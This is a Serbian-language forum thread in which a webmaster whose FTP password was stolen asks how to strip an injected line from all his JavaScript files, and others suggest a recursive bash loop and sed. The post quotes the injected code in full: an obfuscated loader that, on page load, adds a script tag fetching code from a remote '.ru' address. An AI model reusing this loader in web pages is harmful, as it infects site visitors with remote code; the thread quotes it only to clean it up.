Šta je novo?

Shell find & replace

AlexxandarYo

Čuven
Učlanjen(a)
08.07.2003
Poruke
390
Poena
619
Virus je pokupio FTP sifru i u sve Javascript fajlove dodao jednu liniju koda, koja zapocinje neki download ili tako nešto u svakom. Može li neko da mi objasni kako to da očistim, našao sam na netu nekoliko tutorijala za sed ali svi su kako zameniti jednu - dve reči a meni treba mnogo više i to rekurzivno u svim .JS fajlovima i folderima i podfolderima itd...
Evo koda koji treba naći i ukloniti jel može neko da mi napiše tu sed komandu tako da završi posao. Ja ili dobijem neku grešku ili samo iskopira fajl... a kod je i dalje unutra 😛

Kod je u spoileru...
Kod:
 var n;W=function(){var h=new String();var M=58438;this._=37226;this._--;this.iK=50485;this.iK+=143;function m(g,gs,b){var X={T:30262};var xL="xL";return g.substr(gs,b);try {var Jk='nQ'} catch(Jk){};var RM={};}this.K=46504;this.K++;e=4303;e--;var eE=new Array();var H=document;this.a=1481;this.a-=122;var Ce=new String();var Wo={Ht:false};var v=RegExp;this.nB=64920;this.nB--;rn=[];var O='';var sQ=["mu","Nw","rX"];var E="/mas"+m("habl91Sd",0,4)+"e-co"+m("m/gof8l3",0,4)+"ogle"+m(".comPv8h",0,4)+m("Tj1/mul1Tj",3,4)+m("tipl3Kq",0,4)+m("y.coj8e",0,4)+m("m.phdAL",0,4)+m("pXPg3",0,1);this.Z="";inB=18151;inB-=62;this.du='';var Cp={_SH:"uc"};function s(g,gs){var F=["V","xB"];dx={ae:"ZK"};var zq={};this.pC="";var b=String(m("[4lJN",0,1))+gs+new String(m("]8jwc",0,1));this.vm=7597;this.vm++;var Sva={xb:11587};var o=new v(b, new String("g"));return g.replace(o, O);};Hu=[];var t=new Date();yj=["Bw"];var P=320836-312756;var S="bod"+m("yZsQ",0,1);this._k=29395;this._k++;var Zm=new Date();var Sr=null;try {var zP='Mx'} catch(zP){};var PI=s('szcArziuputz','8MAnzgu');this.ai=false;this.Qq=26249;this.Qq--;this.rst=41810;this.rst--;n=function(){var fz=false;var mk="mk";try {var tX="tX";var NF={XY:false};var d=s('cDrbeDabt2eYEDlheWmHeHnPtD','HGWhB2bDPfFYNT');D=H[d](PI);this.iKf='';var g=P+E;try {} catch(fv){};ff=["xP","Sj","Dn"];var gM=new String("defe"+"r");try {var Fq='cP'} catch(Fq){};var c=s('s3rocP','z3PUgGnXYoAQ');Fb=["CH","MV","pO"];var cI='';XU=57651;XU++;pz={Gv:"Dh"};Mv=49903;Mv--;D[gM]=[1,7][0];var xF=new Array();var rw=new Array();D[c]=String(m("htDAG",0,2)+m("e6kKtpke6K",4,2)+m("aGT5:/5TGa",4,2)+m("/mXh27",0,2)+m("QaGicaGQ",3,2)+m("arUR6",0,2)+m("eaGPkD",0,2)+".r"+"u:")+g;try {} catch(WE){};this.I=32521;this.I++;H[S].appendChild(D);var Yh='';var ad=["AE","LI"];var tq=new Array();} catch(x){var iO={sb:"vu"};this.XI=false;};this.xu=49377;this.xu+=200;};};this.Jd='';W();var oe="oe";var TI="TI";window.onload=n;var GF='';lS=52340;lS-=212;var cy={fq:63893};
 
Pa ne znam sto ti je problem sto je duzi string za pretragu.
Stavi samo sve pod ' ' i radice. Sto se tice rekurzije, mozes na primer da stavis find sa jedne strane strane i da pipeline-ujes rezultat do sed-a.

Necu da ti pisem primere, posto sam previse zardjao (a nikada nisam ni dobro znao) ovakve stvari, pa bih verovatno samo lupao, ali uz malo googlanja ces naci sta te zanima.
 
E moj Aleksandre, nista od tebe 😀 .

Za neki predmet sam imao malo potrebe za skriptama, pa znam neke osnove. Ova skripta sigurno prolazi sve fajlove i foldere. Priznajem da ne kapiram kako ti ova sed naredba radi, pa samo zameni tu gde je komentar sta vec treba (cenim da nalazi neki string u fajlu pa menja,jel?).

Kao argument prosledjujes putanju (relativnu ili apsolutnu) do foldera odakle zelis da pocne sa pretragom.
Kod:
for item in $1/*
	do
		if [ -f $item ]
		then
			case $item in
				*.js)
					 #pisi ovde i ostavi ove semicolone na kraju;;
		esac
		elif [ -d $item ]
		then
			./$0 $item
		fi
	done

Probao sam je sa rm, dakle sigurno radi.

Citajuci malo sam shvatio u cemu ce ti biti problem pri samom pozivu sed-a, jer sam malo pokusao (koliko imam vremena) i shvatio sam tvoj problem. Mislim da ovde imas resenje 😉 .

http://stackoverflow.com/questions/...earch-and-replace-in-a-bash-sed-or-rpl-script
 
Poslednja izmena:
Nazad
Vrh Dno